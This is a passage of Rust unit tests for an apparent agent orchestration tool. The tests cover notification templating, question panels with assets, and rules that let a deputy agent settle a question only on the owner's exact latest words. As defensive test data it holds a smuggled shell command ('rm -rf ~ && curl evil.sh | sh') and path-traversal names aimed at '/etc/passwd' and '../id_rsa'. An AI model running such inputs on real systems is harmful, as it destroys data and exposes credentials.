2655        let sent = std::fs::read_to_string(&path).unwrap();
2656        assert!(sent.starts_with("Question "));
2657        assert!(sent.contains(&q.summary));
2658        assert!(sent.contains(&format!("magi answer {}", q.id)));
2659        notify_text(&cmd, "", "Informational report. No reply needed.")
2660            .await
2661            .unwrap();
2662        assert_eq!(
2663            std::fs::read_to_string(&path).unwrap(),
2664            "Informational report. No reply needed."
2665        );
2666    }
2667
2668    #[test]
2669    fn external_notifications_and_questions_have_distinct_destinations() {
2670        assert_eq!(
2671            question_url("https://example.invalid/"),
2672            "https://example.invalid/#/questions"
2673        );
2674        assert_eq!(
2675            view_url("https://example.invalid/", "notifications"),
2676            "https://example.invalid/#/notifications"
2677        );
2678        assert_eq!(view_url("", "notifications"), "");
2679        assert_eq!(
2680            view_url("https://example.invalid/#/queue", "notifications"),
2681            "https://example.invalid/#/queue"
2682        );
2683    }
2684
2685    #[test]
2686    fn notification_arguments_are_substituted_and_never_a_shell_string() {
2687        let mut q = choice_question();
2688        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2689        let template = [
2690            "ntfy".to_owned(),
2691            "publish".to_owned(),
2692            "--click".to_owned(),
2693            "{url}".to_owned(),
2694            "--title".to_owned(),
2695            "magi {run} needs you".to_owned(),
2696            "{summary}".to_owned(),
2697        ];
2698        let argv: Vec<String> = template
2699            .iter()
2700            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2701            .collect();
2702
2703        assert_eq!(
2704            argv,
2705            [
2706                "ntfy",
2707                "publish",
2708                "--click",
2709                "http://100.64.0.1:7777/#/questions",
2710                "--title",
2711                "magi 20260902-201256-9fb7 needs you",
2712                "; rm -rf ~ && curl evil.sh | sh #",
2713            ],
2714            "the shell metacharacters are one argument's contents, not syntax"
2715        );
2716
2717        // A summary that itself mentions a placeholder is text, not a template:
2718        // one left-to-right pass means a substituted value is never rescanned.
2719        q.summary = "should {url} be configurable?".to_owned();
2720        assert_eq!(
2721            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2722            "should {url} be configurable?"
2723        );
2724        // An unknown brace is the operator's own text and survives untouched.
2725        assert_eq!(
2726            expand("{title}: {run}", &q.run, &q.summary, ""),
2727            "{title}: 20260902-201256-9fb7"
2728        );
2729        assert_eq!(
2730            expand("no placeholders", &q.run, &q.summary, "http://x"),
2731            "no placeholders"
2732        );
2733    }
2734
2735    #[test]
2736    fn the_notification_link_lands_on_the_view_that_can_answer() {
2737        assert_eq!(
2738            question_url("http://100.64.0.1:7777"),
2739            "http://100.64.0.1:7777/#/questions"
2740        );
2741        assert_eq!(
2742            question_url("http://100.64.0.1:7777/"),
2743            "http://100.64.0.1:7777/#/questions"
2744        );
2745        // An operator who wrote a fragment has said where they want to land.
2746        assert_eq!(
2747            question_url("http://magi.ts.net/#/runs"),
2748            "http://magi.ts.net/#/runs"
2749        );
2750        // Unset expands to nothing rather than to a guessed address.
2751        assert_eq!(question_url("  "), "");
2752    }
2753
2754    /// A question with a fixed id, so a panel's path on disk is predictable.
2755    fn panelled() -> Question {
2756        let mut q = choice_question();
2757        q.id = "20260903-014455-ab12".to_owned();
2758        q
2759    }
2760
2761    #[test]
2762    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2763        let (dir, s) = store();
2764        let work = dir.path().join("worktree");
2765        std::fs::create_dir_all(&work).unwrap();
2766        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2767        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2768
2769        let mut q = panelled();
2770        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2771        s.put_panel(
2772            &mut q,
2773            html,
2774            &[work.join("table.png"), work.join("diff.svg")],
2775        )
2776        .unwrap();
2777        s.put(&mut q).unwrap();
2778
2779        assert!(q.panel);
2780        assert_eq!(
2781            q.assets,
2782            ["diff.svg", "table.png"],
2783            "sorted, not in the order the agent happened to pass them"
2784        );
2785        assert_eq!(
2786            s.panel_html(&q.id).as_deref(),
2787            Some(html),
2788            "the html is stored byte for byte; the agent authored the markup"
2789        );
2790        assert_eq!(
2791            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2792            Some(&b"<svg/>"[..])
2793        );
2794
2795        // The record on disk carries the same two fields the front end reads.
2796        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2797        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2798        assert_eq!(json["panel"], true);
2799        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2800        let back = s.get(&q.id).unwrap();
2801        assert!(back.panel);
2802        assert_eq!(back.assets, q.assets);
2803
2804        // The assets were copied, so the panel still renders after `magi fold`
2805        // has deleted the candidate worktree the agent authored it in.
2806        std::fs::remove_dir_all(&work).unwrap();
2807        assert_eq!(
2808            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2809            Some(&b"\x89PNG"[..]),
2810            "a referenced asset would be gone with the worktree"
2811        );
2812    }
2813
2814    #[test]
2815    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2816        let (dir, s) = store();
2817        let mut q = panelled();
2818        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2819        s.put(&mut q).unwrap();
2820
2821        // A file exactly one level up from the panel directory - which is
2822        // where `..` lands - holding content a read would make visible.
2823        let secret = "this must never reach the browser";
2824        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2825        assert_eq!(
2826            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2827            secret,
2828            "the traversal is real: the operating system resolves this path \
2829             happily, which is why the name has to be refused before the join"
2830        );
2831
2832        let long = "x".repeat(200);
2833        for name in [
2834            "..",
2835            "../id_rsa",
2836            "..\\id_rsa",
2837            "sub/../id_rsa",
2838            "/",
2839            "\\",
2840            "/etc/passwd",
2841            "C:\\Windows\\win.ini",
2842            "",
2843            ".hidden",
2844            ".",
2845            long.as_str(),
2846        ] {
2847            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2848            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2849            assert!(
2850                e.contains("not a panel file name"),
2851                "`{name}` must be refused as a name, not attempted: {e}"
2852            );
2853            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2854        }
2855        // A name that is allowed still finds its file, so the refusals above
2856        // were the rule at work and not a store that reads nothing.
2857        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2858
2859        // The same rule on the write side, where the name comes from a source
2860        // file's base name, and a refusal leaves the stored panel untouched.
2861        let hidden = dir.path().join(".hidden");
2862        std::fs::write(&hidden, "x").unwrap();
2863        let e = s
2864            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2865            .unwrap_err()
2866            .to_string();
2867        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2868        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2869        assert!(q.assets.is_empty());
2870    }
2871
2872    #[test]
2873    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2874        let (dir, s) = store();
2875        let mut q = panelled();
2876        s.put(&mut q).unwrap();
2877
2878        // Sized rather than filled: the cap reads the file's length, and a
2879        // test that actually produced eight mebibytes would only be slower.
2880        let big = dir.path().join("recording.png");
2881        std::fs::File::create(&big)
2882            .unwrap()
2883            .set_len(PANEL_MAX_BYTES)
2884            .unwrap();
2885
2886        let html = "<p>see the recording</p>";
2887        let total = PANEL_MAX_BYTES + html.len() as u64;
2888        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2889        assert!(
2890            e.contains(&PANEL_MAX_BYTES.to_string()),
2891            "the cap is named so the agent knows the limit: {e}"
2892        );
2893        assert!(
2894            e.contains(&total.to_string()),
2895            "the actual size is named so the agent knows by how much: {e}"
2896        );
2897
2898        assert!(!q.panel);
2899        assert!(q.assets.is_empty());
2900        let left: Vec<String> = std::fs::read_dir(s.root())
2901            .unwrap()
2902            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2903            .collect();
2904        assert_eq!(
2905            left,
2906            [format!("{}.json", q.id)],
2907            "a refused panel leaves neither a directory nor scratch: {left:?}"
2908        );
2909    }
2910
2911    #[test]
2912    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2913        let (dir, s) = store();
2914        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2915        std::fs::create_dir_all(&before).unwrap();
2916        std::fs::create_dir_all(&after).unwrap();
2917        std::fs::write(before.join("diff.png"), "before").unwrap();
2918        std::fs::write(after.join("diff.png"), "after").unwrap();
2919
2920        let mut q = panelled();
2921        let e = s
2922            .put_panel(
2923                &mut q,
2924                "<p>x</p>",
2925                &[before.join("diff.png"), after.join("diff.png")],
2926            )
2927            .unwrap_err()
2928            .to_string();
2929        assert!(e.contains("diff.png"), "{e}");
2930        assert!(
2931            e.contains("before") && e.contains("after"),
2932            "both sources are named, because the fix is to rename one: {e}"
2933        );
2934        assert!(!q.panel);
2935        assert!(!s.panel_dir(&q.id).exists());
2936    }
2937
2938    #[test]
2939    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2940        let (dir, s) = store();
2941        std::fs::write(dir.path().join("old.png"), "old").unwrap();
2942        std::fs::write(dir.path().join("new.png"), "new").unwrap();
2943
2944        let mut q = panelled();
2945        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2946            .unwrap();
2947        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2948            .unwrap();
2949
2950        assert_eq!(q.assets, ["new.png"]);
2951        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2952        assert!(
2953            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2954            "an asset from the first attempt would show a mix of two answers"
2955        );
2956
2957        s.drop_panel(&q.id).unwrap();
2958        assert!(s.panel_html(&q.id).is_none());
2959        assert!(!s.panel_dir(&q.id).exists());
2960        s.drop_panel(&q.id)
2961            .expect("dropping a panel that is already gone is the desired state");
2962    }
2963
2964    #[test]
2965    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2966        let (_dir, s) = store();
2967        let mut q = panelled();
2968        s.put(&mut q).unwrap();
2969
2970        assert!(!q.panel);
2971        assert!(s.panel_html(&q.id).is_none());
2972        assert!(
2973            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2974            "a missing file is a 404 for the caller, not a failure of the store"
2975        );
2976        let json = serde_json::to_value(&q).unwrap();
2977        assert_eq!(json["panel"], false);
2978        assert_eq!(json["assets"], serde_json::json!([]));
2979
2980        // And an empty panel is refused, because an empty frame reads to the
2981        // owner as "the agent had nothing to say".
2982        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
2983        assert!(e.contains("empty panel"), "{e}");
2984        assert!(!s.panel_dir(&q.id).exists());
2985    }
2986
2987    #[test]
2988    fn a_question_written_before_panels_existed_still_deserialises() {
2989        let (_dir, s) = store();
2990        std::fs::create_dir_all(s.root()).unwrap();
2991        let id = "20260902-231501-ab12";
2992        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2993        let body = r#"{
2994  "schema": 1,
2995  "id": "20260902-231501-ab12",
2996  "run": "20260902-201256-9fb7",
2997  "node": "implement",
2998  "seat": "impl-A",
2999  "summary": "Which storage backend should the cache use?",
3000  "detail": "Both are already dependencies.",
3001  "choices": ["SQLite", "Redis"],
3002  "status": "open",
3003  "asked_at": "2026-09-02T23:15:01Z",
3004  "answered_at": null,
3005  "answer": null
3006}"#;
3007        std::fs::write(s.path_of(id), body).unwrap();
3008
3009        let q = s.get(id).unwrap();
3010        assert!(
3011            !q.panel,
3012            "an absent field means no panel, not a parse error"
3013        );
3014        assert!(q.assets.is_empty());
3015        // Schema 1 predates `thread` entirely - not merely predates it having
3016        // any turns - and this build now speaks schema 3. Reading it must not
3017        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3018        // accepted and the missing field defaults to no conversation yet.
3019        assert_eq!(q.schema, 1);
3020        assert!(q.thread.is_empty());
3021        assert_eq!(
3022            q.answer_timeout, 0,
3023            "an absent field means unrecorded, not a zero-second deadline"
3024        );
3025        assert!(!q.waiting_on_agent());
3026        assert_eq!(q.summary, "Which storage backend should the cache use?");
3027        assert_eq!(
3028            s.list().len(),
3029            1,
3030            "and it is still listed; skipping it would hide an open question"
3031        );
3032    }
3033
3034    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3035        Turn {
3036            who,
3037            body: body.to_owned(),
3038            at,
3039            note: None,
3040        }
3041    }
3042
3043    #[test]
3044    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3045        // The phone reads this shape by hand, same as the question itself: a
3046        // rename here is a card that silently drops every message in it.
3047        let mut q = choice_question();
3048        q.thread
3049            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3050        let value = serde_json::to_value(&q.thread[0]).unwrap();
3051        let mut keys: Vec<&str> = value
3052            .as_object()
3053            .unwrap()
3054            .keys()
3055            .map(String::as_str)
3056            .collect();
3057        keys.sort_unstable();
3058        assert_eq!(keys, ["at", "body", "who"]);
3059        assert_eq!(value["who"], "operator");
3060        assert_eq!(value["body"], "why not Postgres?");
3061
3062        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3063        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3064        assert_eq!(parsed.who, Who::Agent);
3065    }
3066
3067    fn approval_question() -> Question {
3068        let mut q = Question::new(
3069            "run".into(),
3070            crate::land::APPROVAL_NODE.into(),
3071            "land".into(),
3072            "Merge?".into(),
3073            String::new(),
3074            vec!["merge".into(), "hold".into()],
3075        );
3076        let mut dep = Deputy::new("brief".into());
3077        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3078        q.deputy = Some(dep);
3079        q
3080    }
3081
3082    #[test]
3083    fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3084        for choice in [
3085            crate::merge_decision::WITHDRAW,
3086            "reimplement:primary",
3087            "retry",
3088            "discard",
3089        ] {
3090            let mut q = approval_question();
3091            q.choices.push(choice.into());
3092            if matches!(choice, "retry" | "discard") {
3093                q.node = "recovery".into();
3094            }
3095            if choice == "discard" {
3096                q.actions.insert(choice.into(), ChoiceAction::Done);
3097            }
3098            let words = "おっけーそれぞれ回答してー";
3099            q.say(words).unwrap();
3100            let error = q
3101                .settle_by_deputy("deputy-x", choice, words, None)
3102                .unwrap_err()
3103                .to_string();
3104            assert!(
3105                error.contains(if choice == "retry" {
3106                    "manifest"
3107                } else {
3108                    "individual owner confirmation"
3109                }),
3110                "{choice}: {error}"
3111            );
3112            assert!(q.status.open());
3113        }
3114    }
3115
3116    #[test]
3117    fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3118        for choice in [
3119            crate::land::HOLD,
3120            crate::land::REPAIR,
3121            crate::merge_decision::WITHDRAW,
3122            "reimplement:beta",
3123        ] {
3124            let mut q = approval_question();
3125            q.node = crate::land::APPROVAL_NODE.into();
3126            q.choices = vec!["merge".into(), choice.into()];
3127            q.merge_target = Some(crate::merge_decision::Target {
3128                pr: "PR 42".into(),
3129                head: "abc".into(),
3130                language: "en".into(),
3131            });
3132            q.say(format!("Should we choose {choice}?")).unwrap();
3133            assert!(
3134                q.settle_by_deputy("deputy-x", choice, choice, None)
3135                    .is_err()
3136            );
3137            q.say(choice).unwrap();
3138            q.settle_by_deputy("deputy-x", choice, choice, None)
3139                .unwrap();
3140            assert_eq!(q.resolution().as_deref(), Some(choice));
3141        }
3142        let mut q = approval_question();
3143        q.node = crate::land::APPROVAL_NODE.into();
3144        q.choices = vec!["merge".into(), "hold".into()];
3145        q.merge_target = Some(crate::merge_decision::Target {
3146            pr: "PR 42".into(),
3147            head: "new-head".into(),
3148            language: "en".into(),
3149        });
3150        q.say("merge old-head").unwrap();
3151        assert!(
3152            q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3153                .is_err()
3154        );
3155        q.say("merge new-head").unwrap();
3156        q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3157            .unwrap();
3158    }
3159
3160    #[test]
3161    fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3162        let mut q = approval_question();
3163        q.choices.push(crate::land::REPAIR.into());
3164        q.say("maybe fix findings and re-review").unwrap();
3165        assert!(
3166            q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3167                .is_err()
3168        );
3169        q.say(crate::land::REPAIR).unwrap();
3170        q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3171            .unwrap();
3172        assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3173        assert_eq!(
3174            crate::land::approval(q.resolution().as_deref()),
3175            crate::land::Approval::Repair
3176        );
3177    }
3178
3179    #[test]
3180    fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3181        let mut q = approval_question();
3182        q.say("merge").unwrap();
3183        q.reply("sure?", vec!["merge".into(), "hold".into()])
3184            .unwrap();
3185        q.say(" Merge it please ").unwrap();
3186        assert!(
3187            q.settle_by_deputy("deputy-x", "merge", "   ", None)
3188                .is_err(),
3189            "an empty quote is refused"
3190        );
3191        assert!(
3192            q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3193                .is_err(),
3194            "a quote the owner never said is refused"
3195        );
3196        assert_eq!(q.status, QuestionStatus::Open);
3197        q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3198            .unwrap();
3199        assert_eq!(q.resolution().as_deref(), Some("merge"));
3200    }
3201
3202    #[test]
3203    fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3204        use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3205        let mk = || {
3206            let mut q = Question::new(
3207                "run".into(),
3208                crate::github_text::ASK_NODE.into(),
3209                crate::github_text::ASK_SEAT.into(),
3210                "s".into(),
3211                String::new(),
3212                vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3213            );
3214            let mut dep = Deputy::new("brief".into());
3215            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3216            q.deputy = Some(dep);
3217            q
3218        };
3219        let mut hedged = mk();
3220        hedged.say("Post the original, maybe?").unwrap();
3221        assert!(
3222            hedged
3223                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3224                .is_err()
3225        );
3226        let mut clear = mk();
3227        clear.say("Post the original text as it is.").unwrap();
3228        clear
3229            .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3230            .unwrap();
3231        assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3232        let mut japanese = mk();
3233        let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3234        japanese.say(words).unwrap();
3235        japanese
3236            .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3237            .unwrap();
3238        let mut unrelated = mk();
3239        unrelated.say("Proceed with the task").unwrap();
3240        assert!(
3241            unrelated
3242                .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3243                .is_err()
3244        );
3245        for words in [
3246            "OK, post the original",
3247            "Yes, post original",
3248            "I'd like to post the original",
3249        ] {
3250            let mut natural = mk();
3251            natural.say(words).unwrap();
3252            natural
3253                .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3254                .unwrap();
3255        }
3256        for (message, quote) in [
3257            (
3258                "ログには「元の説明で投稿しました」と記録されています。",
3259                "ログには「元の説明で投稿しました」と記録されています。",
3260            ),
3261            (
3262                "ログには「元の説明で投稿してください」と記録されています。",
3263                "元の説明で投稿してください",
3264            ),
3265        ] {
3266            let mut descriptive = mk();
3267            descriptive.say(message).unwrap();
3268            assert!(
3269                descriptive
3270                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3271                    .is_err()
3272            );
3273            assert!(descriptive.status.open());
3274            assert!(descriptive.answer.is_none());
3275        }
3276        let mut descriptive = mk();
3277        let message = "Post original was the option I saw.";
3278        descriptive.say(message).unwrap();
3279        for quote in [message, "Post original"] {
3280            assert!(
3281                descriptive
3282                    .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3283                    .is_err()
3284            );
3285            assert!(descriptive.status.open());
3286            assert!(descriptive.answer.is_none());
3287        }
3288        // The changed text is the safe default: no extra guard beyond the quote.
3289        let mut safe = mk();
3290        safe.say("use the fallback").unwrap();
3291        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3292            .unwrap();
3293    }
3294
3295    #[test]
3296    fn posting_deputy_rejects_multiline_quoted_context() {
3297        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3298        for (command, choice) in [
3299            ("Post original", POST_ORIGINAL),
3300            ("Use rewrite", USE_REWRITE),
3301        ] {
3302            for message in [
3303                format!("The log contains:\n```\n{command}\n```"),
3304                format!("The log contains:\n\"\n{command}\n\""),
3305                format!("The log says: “Reported. {command}.”"),
3306                format!("The log says: “\n{command}\n”"),
3307            ]
3308            .into_iter()
3309            .chain(crate::github_text::reported_posting_messages(command))
3310            {
3311                let mut q = Question::new(
3312                    "run".into(),
3313                    ASK_NODE.into(),
3314                    ASK_SEAT.into(),
3315                    "s".into(),
3316                    String::new(),
3317                    vec![USE_FALLBACK.into(), choice.into()],
3318                );
3319                let mut dep = Deputy::new("brief".into());
3320                dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3321                q.deputy = Some(dep);
3322                q.say(&message).unwrap();
3323                let tmp = tempfile::tempdir().unwrap();
3324                let questions = Questions::at(tmp.path().join("questions"));
3325                questions.put(&mut q).unwrap();
3326                for quote in [command, message.as_str()] {
3327                    assert!(
3328                        questions
3329                            .update(&q.id, |stored| {
3330                                stored.settle_by_deputy("deputy-x", choice, quote, None)
3331                            })
3332                            .is_err()
3333                    );
3334                    let after = questions.get(&q.id).unwrap();
3335                    assert!(after.status.open());
3336                    assert!(after.answer.is_none());
3337                }
3338            }
3339        }
3340    }
3341
3342    #[test]
3343    fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3344        use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3345        let mk = || {
3346            let mut q = Question::new(
3347                "run".into(),
3348                crate::github_text::ASK_NODE.into(),
3349                crate::github_text::ASK_SEAT.into(),
3350                "s".into(),
3351                String::new(),
3352                vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3353            );
3354            let mut dep = Deputy::new("brief".into());
3355            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3356            q.deputy = Some(dep);
3357            q
3358        };
3359        let mut hedged = mk();
3360        hedged.say("Use the rewrite, maybe?").unwrap();
3361        assert!(
3362            hedged
3363                .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3364                .is_err()
3365        );
3366        let mut descriptive = mk();
3367        let message = "Use rewrite was the option I saw.";
3368        descriptive.say(message).unwrap();
3369        for quote in [message, "Use rewrite"] {
3370            assert!(
3371                descriptive
3372                    .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3373                    .is_err()
3374            );
3375            assert!(descriptive.status.open());
3376            assert!(descriptive.answer.is_none());
3377        }
3378        for words in [
3379            "Use the rewrite text as it is.",
3380            "I'd like to use the rewrite",
3381            "修正版で投稿してください。",
3382        ] {
3383            let mut clear = mk();
3384            clear.say(words).unwrap();
3385            clear
3386                .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3387                .unwrap();
3388            assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3389        }
3390        // The changed text is the safe default: no extra guard beyond the quote.
3391        let mut safe = mk();
3392        safe.say("use the fallback").unwrap();
3393        safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3394            .unwrap();
3395    }
3396
3397    #[test]
3398    fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3399        let mk = |choices: Vec<String>| {
3400            let mut q = Question::new(
3401                String::new(),
3402                crate::bump::NOTICE_NODE.into(),
3403                "release-watch".into(),
3404                "Release?".into(),
3405                String::new(),
3406                choices,
3407            );
3408            let mut dep = Deputy::new("brief".into());
3409            dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3410            q.deputy = Some(dep);
3411            q
3412        };
3413        let mut approval = mk(vec!["merge".into(), "hold".into()]);
3414        assert!(crate::deputy::merge_gated(&approval));
3415        approval.say("マージしていいよ").unwrap();
3416        assert!(
3417            approval
3418                .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3419                .is_err(),
3420            "a quote the owner never said is refused"
3421        );
3422        approval
3423            .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3424            .unwrap();
3425
3426        let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3427        assert!(!crate::deputy::merge_gated(&esc));
3428        esc.say("もう監視はいらない").unwrap();
3429        esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3430            .unwrap();
3431        assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3432    }
3433
3434    #[test]
3435    fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3436        let mut q = approval_question();
3437        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3438            .unwrap();
3439        assert!(
3440            q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3441                .is_err(),
3442            "the quote must be the owner's"
3443        );
3444        assert!(
3445            q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3446                .is_err(),
3447            "`hold` still needs the whole message"
3448        );
3449        q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3450            .unwrap();
3451        assert_eq!(q.resolution().as_deref(), Some("merge"));
3452    }
3453
3454    fn settle_ready() -> Question {
3455        let mut q = Question::new(
3456            "task".to_owned(),
3457            "conduct".to_owned(),
3458            "conduct".to_owned(),
3459            "Done?".to_owned(),
3460            String::new(),
3461            vec!["yes".to_owned(), "no".to_owned()],
3462        );
3463        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3464        seat.turns = 1;
3465        let mut dep = Deputy::new("brief".to_owned());
3466        dep.seat = Some(seat);
3467        q.deputy = Some(dep);
3468        q.say("setup done, and file a follow-up").unwrap();
3469        q
3470    }
3471
3472    #[test]
3473    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3474        let dir = tempfile::TempDir::new().unwrap();
3475        let store = Questions::at(dir.path().join("questions"));
3476        let mut q = settle_ready();
3477        let id = q.id.clone();
3478        store.put(&mut q).unwrap();
3479        store
3480            .update(&id, |q| {
3481                q.settle_by_deputy(
3482                    "deputy-x",
3483                    "yes",
3484                    "setup done",
3485                    Some("  no follow-up was queued  "),
3486                )
3487            })
3488            .unwrap();
3489        let back = store.get(&id).unwrap();
3490        let turn = back.thread.last().unwrap();
3491        assert_eq!(turn.who, Who::Agent);
3492        assert!(turn.body.starts_with("Settled as `yes`"));
3493        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3494        assert_eq!(back.thread[0].note, None);
3495    }
3496
3497    #[test]
3498    fn an_empty_or_blank_settle_note_is_no_note() {
3499        for note in [None, Some(""), Some("  \n ")] {
3500            let mut q = settle_ready();
3501            q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3502                .unwrap();
3503            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3504            let json = serde_json::to_string(&q).unwrap();
3505            assert!(!json.contains("\"note\""), "no key when there is none");
3506        }
3507    }
3508
3509    #[test]
3510    fn a_refused_settle_leaves_no_note_behind() {
3511        let mut q = settle_ready();
3512        let before = q.thread.clone();
3513        assert!(
3514            q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3515                .is_err()
3516        );
3517        assert!(
3518            q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3519                .is_err()
3520        );
3521        assert_eq!(q.thread, before);
3522        assert_eq!(q.status, QuestionStatus::Open);
3523    }
3524
3525    #[test]
3526    fn a_turn_written_before_notes_existed_still_reads() {
3527        let t: Turn =
3528            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3529                .unwrap();
3530        assert_eq!(t.note, None);
3531    }
3532
3533    #[test]
3534    fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3535        let mut q = approval_question();
3536        q.say("merge").unwrap();
3537        q.reply("sure?", vec!["merge".into(), "hold".into()])
3538            .unwrap();
3539        q.say("wait, hold off").unwrap();
3540        assert!(
3541            q.settle_by_deputy("deputy-x", "merge", "merge", None)
3542                .is_err()
3543        );
3544        assert_eq!(q.status, QuestionStatus::Open);
3545    }
3546
3547    #[test]
3548    fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3549        let mut q = Question::new(
3550            "task".to_owned(),
3551            "conduct".to_owned(),
3552            "conduct".to_owned(),
3553            "Done?".to_owned(),
3554            String::new(),
3555            vec!["yes".to_owned(), "no".to_owned()],
3556        );
3557        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3558        seat.turns = 1;
3559        let mut dep = Deputy::new("brief".to_owned());
3560        dep.seat = Some(seat);
3561        q.deputy = Some(dep);
3562        q.say("setup done, go ahead").unwrap();
3563
3564        assert!(
3565            q.settle_by_deputy("someone-else", "yes", "setup done", None)
3566                .is_err()
3567        );
3568        assert!(
3569            q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3570                .is_err()
3571        );
3572        assert!(
3573            q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3574                .is_err()
3575        );
